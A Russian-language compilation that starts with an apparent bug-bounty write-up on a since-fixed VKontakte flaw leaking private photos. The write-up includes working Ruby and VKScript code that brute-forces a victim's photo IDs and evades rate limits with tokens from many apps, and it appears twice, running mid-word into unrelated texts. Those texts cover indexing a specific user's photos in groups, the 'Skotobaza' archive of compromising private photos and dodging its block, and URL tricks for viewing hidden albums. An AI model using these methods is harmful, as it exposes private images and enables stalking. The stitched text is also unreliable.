tl;dr
Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут - все фото, загруженные на прошлой неделе, за 20 минут - прошлый месяц, за 2 часа - прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.
История началась с того, как мне в личку во «Вконтакте» кинули изображение. Обычно, если вещь важная, я её загружаю в облако, но в моём случае в этом не было необходимости, и я решил воспользоваться функцией закладок «Вконтакте».
Коротко про эту функциональность: в закладки добавляются все вещи, которые юзер лайкнул; также есть функция ручного добавления ссылки на пользователя и внутренней ссылки «ВКонтакте». Последний пункт мне показался очень интересным, так как после добавления ссылки на фото я увидел его превьюшку и текст с типом добавленной сущности:
При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.
В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео - это маленькая (150x150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.
Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:
Да! В значении атрибута data-src_big хранилась прямая ссылка на оригинал изображения!
Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.
Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX , которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.
Как работают фотографии в ВК
Как вы могли заменить, ссылка на фотографию photo52708106_359542386 состоит из двух частей: (id пользователя)_(какое-то непонятное число) . Как же формируется вторая часть?Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, ежедневно пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым годом :
Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.
Перебираем фотографии
Можно было всё это добавлять руками через интерфейс или же написать скрипт, который добавляет по одной ссылке в закладки, но это было бы скучно и долго. Скорость перебора в таком случае составила бы 3 закладки в секунду, т.к. больше трех запросов в секунду на сервер «Вконтакте» отправлять нельзя .Ускоряем перебор x25
Чтобы хоть немного обойти ограничение в 3 запроса, я решил воспользоваться методом execute . В одном вызове этого метода возможно 25 обращений к методам API.Var start = parseInt(Args.start);
var end = parseInt(Args.end);
var victimId = Args.id;
var link = "http://vk.com/photo" + victimId + "_";
while(start != end) {
API.fave.addLink({ "link": link + start });
start = start + 1;
};
Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.
Ускоряем перебор x25 * количество параллельных запросов в секунду
Ограничение на количество запросов/сек действует на каждое приложение отдельно, а не на пользователя целиком. Так что ничего не мешает отправлять параллельно много запросов, но при этом используя в них токены от разных приложений.Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:
Class StandaloneAppsFinder
attr_reader:app_ids
def initialize(params)
@range = params[:in_range]
@app_ids =
end
def search
(@range).each do |app_id|
response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read
app = JSON.parse(response)["response"]
app_ids << app_id if standalone?(app)
end
end
private
def standalone?(app_data)
app_data["type"] == "standalone"
end
end
Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:
Но решил с этим не заморачиваться.
Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):
Class Authenticator
attr_reader:access_tokens
def initialize(cookie_header)
@cookies = { "Cookie" => cookie_header }
@access_tokens =
end
def authorize_apps(apps)
apps.each do |app_id|
auth_url = extract_auth_url_from(oauth_page(app_id))
redirect_url = open(auth_url, @cookies).base_uri.to_s
access_tokens << extract_token_from(redirect_url)
end
end
private
def extract_auth_url_from(oauth_page_html)
Nokogiri::HTML(oauth_page_html).css("form").attr("action").value
end
def extract_token_from(url)
URI(url).fragment
end
def oauth_page(app_id)
open(oauth_page_url(app_id), @cookies).read
end
def oauth_page_url(app_id)
"https://oauth.vk.com/authorize?" +
"client_id=#{app_id}&" +
"response_type=token&" +
"display=mobile&" +
"scope=474367"
end
end
Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus , который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:
Class PhotosBruteforcer
PHOTOS_ID_BY_PERIOD = {
"today" => 366300000..366500000,
"yesterday" => 366050000..366300000,
"current_month" => 365000000..366500000,
"last_month" => 360000000..365000000,
"current_year" => 350000000..366500000,
"last_year" => 320000000..350000000
}
def initialize(params)
@victim_id = params[:victim_id]
@period = PHOTOS_ID_BY_PERIOD]
end
def run(tokens)
hydra = Typhoeus::Hydra.new
tokensIterator = 0
(@period).step(25) do |photo_id|
url = "https://api.vk.com/method/execute?access_token=#{tokens}&code=#{vkscript(photo_id)}"
encoded_url = URI.escape(url).gsub("+", "%2B").delete("\n")
tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1
hydra.queue Typhoeus::Request.new encoded_url
hydra.run if tokensIterator.zero?
end
hydra.run unless hydra.queued_requests.count.zero?
end
private
def vkscript(photo_id)
<<-VKScript
var start = #{photo_id};
var end = #{photo_id + 25};
var link = "http://vk.com/photo#{@victim_id}" + "_";
while(start != end) {
API.fave.addLink({ "link": link + start });
start = start + 1;
};
return start;
VKScript
end
end
Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD
запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented
.
Окончательная версия скрипта выглядит так:
Require "nokogiri"
require "open-uri"
require "typhoeus"
require "json"
require "./standalone_apps_finder"
require "./photos_bruteforcer"
require "./authenticator"
bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV)
apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500)
apps_finder.search
# p,l - cookies from login.vk.com
# remixsid - cookie from vk.com
authenticator = Authenticator.new("p=;" +
"l=;" +
"remixsid=;")
authenticator.authorize_apps(apps_finder.app_ids)
bruteforcer.run(authenticator.access_tokens)
После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.
Итоги
В целом, всё зависит от вашего интернет соединения и скорости прокси серверов, латенси серверов «Вконтакте», мощности процессора и множества других факторов. Опробовав скрипт выше на своем аккаунте, получил такие вот цифры (без учета времени, потраченного на получение токенов):В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.
Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.
Сообщаем об уязвимости
Сначала репорт был отправлен службе поддержки, но после ответа вида «спасибо, как-нибудь пофиксим наверное…» и недели ожидания, мне что-то стало грустно. Большое спасибо , который помог связаться с разработчиками напрямую. После этого баги закрыли в течение нескольких часов, а через несколько дней на мой счёт администрация перевела вознаграждение в размере 10кtl;dr
Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут - все фото, загруженные на прошлой неделе, за 20 минут - прошлый месяц, за 2 часа - прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.
История началась с того, как мне в личку во «Вконтакте» кинули изображение. Обычно, если вещь важная, я её загружаю в облако, но в моём случае в этом не было необходимости, и я решил воспользоваться функцией закладок «Вконтакте».
Коротко про эту функциональность: в закладки добавляются все вещи, которые юзер лайкнул; также есть функция ручного добавления ссылки на пользователя и внутренней ссылки «ВКонтакте». Последний пункт мне показался очень интересным, так как после добавления ссылки на фото я увидел его превьюшку и текст с типом добавленной сущности:
При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.
В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео - это маленькая (150x150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.
Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:
Да! В значении атрибута data-src_big хранилась прямая ссылка на оригинал изображения!
Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.
Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX , которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.
Как работают фотографии в ВК
Как вы могли заменить, ссылка на фотографию photo52708106_359542386 состоит из двух частей: (id пользователя)_(какое-то непонятное число) . Как же формируется вторая часть?Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, ежедневно пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым годом :
Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.
Перебираем фотографии
Можно было всё это добавлять руками через интерфейс или же написать скрипт, который добавляет по одной ссылке в закладки, но это было бы скучно и долго. Скорость перебора в таком случае составила бы 3 закладки в секунду, т.к. больше трех запросов в секунду на сервер «Вконтакте» отправлять нельзя .Ускоряем перебор x25
Чтобы хоть немного обойти ограничение в 3 запроса, я решил воспользоваться методом execute . В одном вызове этого метода возможно 25 обращений к методам API.Var start = parseInt(Args.start);
var end = parseInt(Args.end);
var victimId = Args.id;
var link = "http://vk.com/photo" + victimId + "_";
while(start != end) {
API.fave.addLink({ "link": link + start });
start = start + 1;
};
Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.
Ускоряем перебор x25 * количество параллельных запросов в секунду
Ограничение на количество запросов/сек действует на каждое приложение отдельно, а не на пользователя целиком. Так что ничего не мешает отправлять параллельно много запросов, но при этом используя в них токены от разных приложений.Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:
Class StandaloneAppsFinder
attr_reader:app_ids
def initialize(params)
@range = params[:in_range]
@app_ids =
end
def search
(@range).each do |app_id|
response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read
app = JSON.parse(response)["response"]
app_ids << app_id if standalone?(app)
end
end
private
def standalone?(app_data)
app_data["type"] == "standalone"
end
end
Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:
Но решил с этим не заморачиваться.
Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):
Class Authenticator
attr_reader:access_tokens
def initialize(cookie_header)
@cookies = { "Cookie" => cookie_header }
@access_tokens =
end
def authorize_apps(apps)
apps.each do |app_id|
auth_url = extract_auth_url_from(oauth_page(app_id))
redirect_url = open(auth_url, @cookies).base_uri.to_s
access_tokens << extract_token_from(redirect_url)
end
end
private
def extract_auth_url_from(oauth_page_html)
Nokogiri::HTML(oauth_page_html).css("form").attr("action").value
end
def extract_token_from(url)
URI(url).fragment
end
def oauth_page(app_id)
open(oauth_page_url(app_id), @cookies).read
end
def oauth_page_url(app_id)
"https://oauth.vk.com/authorize?" +
"client_id=#{app_id}&" +
"response_type=token&" +
"display=mobile&" +
"scope=474367"
end
end
Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus , который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:
Class PhotosBruteforcer
PHOTOS_ID_BY_PERIOD = {
"today" => 366300000..366500000,
"yesterday" => 366050000..366300000,
"current_month" => 365000000..366500000,
"last_month" => 360000000..365000000,
"current_year" => 350000000..366500000,
"last_year" => 320000000..350000000
}
def initialize(params)
@victim_id = params[:victim_id]
@period = PHOTOS_ID_BY_PERIOD]
end
def run(tokens)
hydra = Typhoeus::Hydra.new
tokensIterator = 0
(@period).step(25) do |photo_id|
url = "https://api.vk.com/method/execute?access_token=#{tokens}&code=#{vkscript(photo_id)}"
encoded_url = URI.escape(url).gsub("+", "%2B").delete("\n")
tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1
hydra.queue Typhoeus::Request.new encoded_url
hydra.run if tokensIterator.zero?
end
hydra.run unless hydra.queued_requests.count.zero?
end
private
def vkscript(photo_id)
<<-VKScript
var start = #{photo_id};
var end = #{photo_id + 25};
var link = "http://vk.com/photo#{@victim_id}" + "_";
while(start != end) {
API.fave.addLink({ "link": link + start });
start = start + 1;
};
return start;
VKScript
end
end
Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD
запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented
.
Окончательная версия скрипта выглядит так:
Require "nokogiri"
require "open-uri"
require "typhoeus"
require "json"
require "./standalone_apps_finder"
require "./photos_bruteforcer"
require "./authenticator"
bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV)
apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500)
apps_finder.search
# p,l - cookies from login.vk.com
# remixsid - cookie from vk.com
authenticator = Authenticator.new("p=;" +
"l=;" +
"remixsid=;")
authenticator.authorize_apps(apps_finder.app_ids)
bruteforcer.run(authenticator.access_tokens)
После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.
Итоги
В целом, всё зависит от вашего интернет соединения и скорости прокси серверов, латенси серверов «Вконтакте», мощности процессора и множества других факторов. Опробовав скрипт выше на своем аккаунте, получил такие вот цифры (без учета времени, потраченного на получение токенов):В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.
Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.
Сообщаем об уязвимости
Сначала репорт был отправлен службе поддержки, но после ответа вида «спасибо, как-нибудь пофиксим наверное…» и недели ожидания, мне что-то стало грустно. Большое спасибо Bo0oM , который помог связаться с разработчиками напрямую. После этого баги закрыли в течение нескольких часов, а через несколько дней на мой счёт администрация перевела вознаграждение в размере 10кВКонтакте существует множество пабликов, таких как: 90-60-90, 40 КГ, Спортивные девушки. В данных пабликах пользователи выкладывают фотографии своих фигур, фотографии «до» и «после» диеты / занятия спортом и прочее. Общее количество фотографий в альбомах этих групп порой превышает десятки тысяч. Выкладывая фотографии, многие не задумываются о последствиях, наивно пологая что если кинуть свою фотку в тысячи подобных, то никто ее и не найдет. Под катом описан процесс поиска фотографий конкретного пользователя в группах.
Постановка задачи
- uid - ID пользователя ВКонтакте
- gid - ID группы ВКонтакте
Необходимо:
- Найти все фотографии пользователя uid, опубликованных в группе gid
- Определить в каком альбоме находится каждая фотография
API ВКонтакте
В контакте отсутствует метод прямого получения фотографий, опубликованных конкретным пользователем в конкретной группе. Однако, добиться нужного результата можно по следующей схеме:
1. Получаем список альбомов, используя метод photos.getAlbums:
VK.api("photos.getAlbums", { gid: gid }, function(result){ if (result.response){ // Список альбомов лежит в массиве result.response // Идентификатор альбома находится в поле aid }else{ // Не удалось получить список альбомов } });
2. Получаем список фотографий, находящихся в альбоме (aid), используя метод photos.get:
VK.api("photos.get", { gid: gid, aid: aid }, function(result){ if (result.response){ // Список фотографий лежит в массиве result.response // ID владельца фотографии содержится в поле owner_id // ID фотографии содержится в поле pid }else{ // Не удалось получить список фотографий в альбоме } });
3. Получаем URL фотографии, используя метод photos.getById
VK.api("photos.getById", { photos: pids }, function(result){ if(result.response){ for(var i=0; i Перебирать все группы довольно длительный процесс и запускать его каждый раз при поиске фотографии конкретного человека дело не целесообразно. Для ускорения поиска достаточно проиндексировать все фотографии путем добавления индекса во внутреннюю таблицу. После индексации групп, достаточно выполнить запрос SELECT * FROM table WHERE uid = uid
Используя метод friends.get, можно получить список друзей, а затем произвести поиск по БД с целью получения фотографий друзей: VK.api("friends.get", { user_id: uid }, function(result){ if(result.response){ // Далее производим поиск фотографий по ID друзей } });
Те, кто впервые столкнулся со "Скотобазой", будут неприятно удивлены или даже возмущены - таким отталкивающим названием именуется сайт, хранящий миллионы приватных фото пользователей "Вконтакте". Что скрывает в себе этот ресурс и возможно ли получить допуск к его базе - далее. Ресурс "Скотобаза", собравший на своих серверах около 107 миллионов компрометирующих фотографий пользователей, далеко не новаторский. Еще 15 лет назад в "Живом Журнале" стали публиковать "для прикола" откровенно неудачные фото, выложенные пользователями. "Скотобаза" же ориентировалась (да, именно в прошедшем времени - сегодня сайт не найти в поисковике, так как он закрыт Роспотребнадзором) на контент социальной сети "Вконтакте". Сразу нужно отметить: если вы выложили фото в альбом с замком "Видно только мне", такое изображение в "Скотобазе" появиться никак не может. Но если вы отправили изображение собеседнику, в закрытое сообщество, в фотоальбом, видимый только друзьям или ограниченной группе человек, то возможно, что оно уже было в достоянии этого сомнительного ресурса. Многие, узнав, что такое "Скотобаза", прибегали к этому ресурсу, чтобы узнать нечто личное о своих знакомых, врагах, недоброжелателях, проверить свою половинку. Сайт, надо сказать, умело наживался на беспечных пользователях, присылающих слишком личные фото кому не надо и куда не надо. За мзду в размере 490 рублей можно было не только навсегда удалить свои фото из архивов "Скотобазы", но и получить какую-никакую гарантию того, что вы больше не засветитесь на этом ресурсе. Как уже говорилось, сайт по вполне понятным причинам был закрыт. "Скотобаза" пыталась восстановиться, переезжая на другие домены, но тщетно - к ним тоже блокировали доступ. "Зеркала" у ресурса нет тоже. В какой-то мере аналогом сайта был схожий ресурс "Спалили", однако он тоже более не работоспособен. Такая же участь настигла и более мелкую копию Poiskvk. Конечно, если "посерфить" в "Одноклассниках", "Вконтакте", "Инстаграме", "Фейсбуке", можно найти закрытые группы и сообщества, где пользователи выкладывают личные и неудавшиеся фото своих случайных собеседников и знакомых (те же когда-то популярные группы "Курицы" и "Петухи" в каждом городе). Естественно, ресурс размаха "Скотобазы" не появится моментально - нужно много времени хотя бы для того, чтобы накопить такой архив. После того, как к ресурсу закрыли доступ, в сети появилось много лайфхаков вида "Скотобаза": обход блокировки". Считается, что увидеть базу фотографий возможно, скрыв свой IP-адрес, то есть местоположение себя и своего гаджета, так как Роспотребнадзор правомочен перекрывать доступ только россиянам. Сделать это можно двумя простыми способами: Обход блокировки, таким способом, можно быстро провести с помощью этих операций. Узнав про "Скотобазу", многие захотят проверить, не засветились ли они сами или их близкие и знакомые на этом ресурсе. Сделать это очень просто: вписать в окне на главной странице нужный ID пользователя "Вконтакте". Если он присутствует в этой сомнительной базе, то система перенаправит вас на его фотоархив. Если верить словам некоторых пользователей, то в 2017 году зайти на "Скотобазу" стало уже невозможно, так как ее создатели удалили ресурс, который, видимо, больше не приносит им былой прибыли. Узнав, что такое "Скотобаза", вы наверняка захотите воспользоваться менее сомнительными сервисами для поиска человека и его фото: Что такое "Скотобаза" в двух словах - скандальный ресурс, накопивший большую коллекцию приватных фото пользователей "ВК". Если вы хотите найти какого-либо человека или фотографию в Сети, гораздо более целесообразно использовать для этого разрешенные поисковые системы. Многие пользователи ограничивают доступ к просмотру своих фотографий, с помощью . Или возможен такой вариант, когда альбомы не опубликованы на странице — вы просто не знаете, как зайти в них (см. ). Но ведь очень хочется увидеть, что же пользователь скрыл. Давайте разбираться, как посмотреть скрытые фото вконтакте
. Заходите на страницу к нужному пользователю, и копируйте из адресной строки его id (см. ). В том случае, если нет цифрового значения id, а вместо него указан выбранный пользователем ник, то нужно сделать следующее. Вам нужно перейти к просмотру любой части профиля пользователя. Проще всего открыть аватарку. Теперь вернитесь в адресную строку. Найдите следующую часть кода «z=photo233054»
. Цифры после слова «photo»
, и есть id. В данном случае, это вот такое значение — 233054
. Теперь переходим к следующему шагу. Если вы посмотрите на страницу пользователя, id которого мы только что получили, то увидите, что для просмотра доступна только одна фотография. И нет блока «Фотоальбомы»
. Значит все фотки и альбомы скрыты (см. ). Так давайте уже посмотрим их. Для этого снова перейдите в адресную строку, и наберите вот такой текст: Https://vk.com/albums***
Как вы видите, здесь более 500-а фотографий. Есть альтернативный код. Вот он: Https://vk.com/id***?z=albums***
Вводите его в адресную строку, и вместо звездочек снова пишем id. Далее «Enter»
. Результат будет тот же. Теперь вы можете просмотреть все фотки, которые загрузил пользователь на свою страницу (см. ). В том числе и скрытые.
Как вы понимаете, вы тоже можете ограничивать просмотр ваших фотографий. Но для тех, кто знаком с описанным методом, это не будет препятствием. Вопросы?
Как ускорить поиск?
В таблице достаточно содержать 3 поля:Поиск фотографий друзей
Ссылки
Что такое "Скотобаза"
"Скотобаза": аналоги
Обход блокировки "Скотобазы"
Как пользоваться "Скотобазой"
Как еще можно найти фото пользователя
Используем id страницы, для просмотра скрытых фотографий
Как посмотреть закрытые фото и альбомы вконтакте
Заключение